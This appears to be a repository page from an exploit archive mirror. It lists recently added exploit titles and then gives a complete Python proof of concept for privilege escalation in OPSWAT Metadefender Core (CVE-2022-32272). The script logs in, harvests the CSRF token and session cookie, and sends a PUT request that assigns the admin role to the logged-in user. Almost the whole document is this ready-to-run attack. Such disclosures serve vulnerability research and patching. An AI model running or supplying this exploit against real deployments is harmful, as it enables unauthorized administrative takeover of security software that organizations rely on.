6bc7a6f9b0
25 changes to exploits/shellcodes/ghdb ReQlogic v11.3 - Reflected Cross-Site Scripting (XSS) Tapo C310 RTSP server v1.3.0 - Unauthorised Video Stream Access ZKTeco ZEM/ZMM 8.88 - Missing Authentication Hashicorp Consul v1.0 - Remote Command Execution (RCE) X-Skipper-Proxy v0.13.237 - Server Side Request Forgery (SSRF) OPSWAT Metadefender Core - Privilege Escalation Pega Platform 8.1.0 - Remote Code Execution (RCE) Beauty-salon v1.0 - Remote Code Execution (RCE) BoxBilling<=4.22.1.5 - Remote Code Execution (RCE) iBooking v1.0.8 - Arbitrary File Upload Jetpack 11.4 - Cross Site Scripting (XSS) Moodle LMS 4.0 - Cross-Site Scripting (XSS) Online shopping system advanced 1.0 - Multiple Vulnerabilities rukovoditel 3.2.1 - Cross-Site Scripting (XSS) Senayan Library Management System v9.5.0 - SQL Injection Social-Share-Buttons v2.2.3 - SQL Injection Subrion CMS 4.2.1 - Stored Cross-Site Scripting (XSS) YouPHPTube<= 7.8 - Multiple Vulnerabilities Label Studio 1.5.0 - Authenticated Server Side Request Forgery (SSRF) SuperMailer v11.20 - Buffer overflow DoS Tunnel Interface Driver - Denial of Service VMware Workstation 15 Pro - Denial of Service HDD Health 4.2.0.112 - 'HDDHealth' Unquoted Service Path SugarSync 4.1.3 - 'SugarSync Service' Unquoted Service Path
51 lines
No EOL
1.6 KiB
Python
Executable file
51 lines
No EOL
1.6 KiB
Python
Executable file
# Exploit Title: OPSWAT Metadefender Core - Privilege Escalation
|
|
# Date: 24 October 2022
|
|
# Exploit Author: Ulascan Yildirim
|
|
# Vendor Homepage: https://www.opswat.com/
|
|
# Version: Metadefender Core 4.21.1
|
|
# Tested on: Windows / Linux
|
|
# CVE : CVE-2022-32272
|
|
# =============================================================================
|
|
# This is a PoC for the Metadefender Core Privilege escalation vulnerability.
|
|
# To use this PoC, you need a Username & Password.
|
|
# The OMS_CSRF_TOKEN allows users to execute commands with higher privileges.
|
|
# =============================================================================
|
|
|
|
#!/usr/bin/env python3
|
|
import requests
|
|
import json
|
|
from getpass import getpass
|
|
|
|
url = input("Enter URL in this Format (http://website.com): ")
|
|
username = input("Username: ")
|
|
password = getpass("Password: ")
|
|
|
|
url_login = url+'/login'
|
|
url_user = url+'/user'
|
|
logindata = {"user":username,"password":password}
|
|
|
|
## Get the OMS_CSRF_TOKEN & session cookie
|
|
response_login = requests.post(url_login, json = logindata).json()
|
|
json_str = json.dumps(response_login)
|
|
resp = json.loads(json_str)
|
|
token = resp['oms_csrf_token']
|
|
session = resp['session_id']
|
|
|
|
## Prepare Header & Cookie
|
|
headers = {
|
|
"oms_csrf_token": token,
|
|
}
|
|
cookie = {
|
|
"session_id_ometascan": session
|
|
}
|
|
|
|
## Set Payload to get Admin role
|
|
payload = '{"roles": ["1"]}'
|
|
|
|
response = requests.put(url_user,headers=headers,cookies=cookie,data=payload)
|
|
print("Response status code: "+str(response.status_code))
|
|
|
|
if response.status_code == 200:
|
|
print("Expolit Successful!")
|
|
else:
|
|
print("Exploit Unsuccessful") |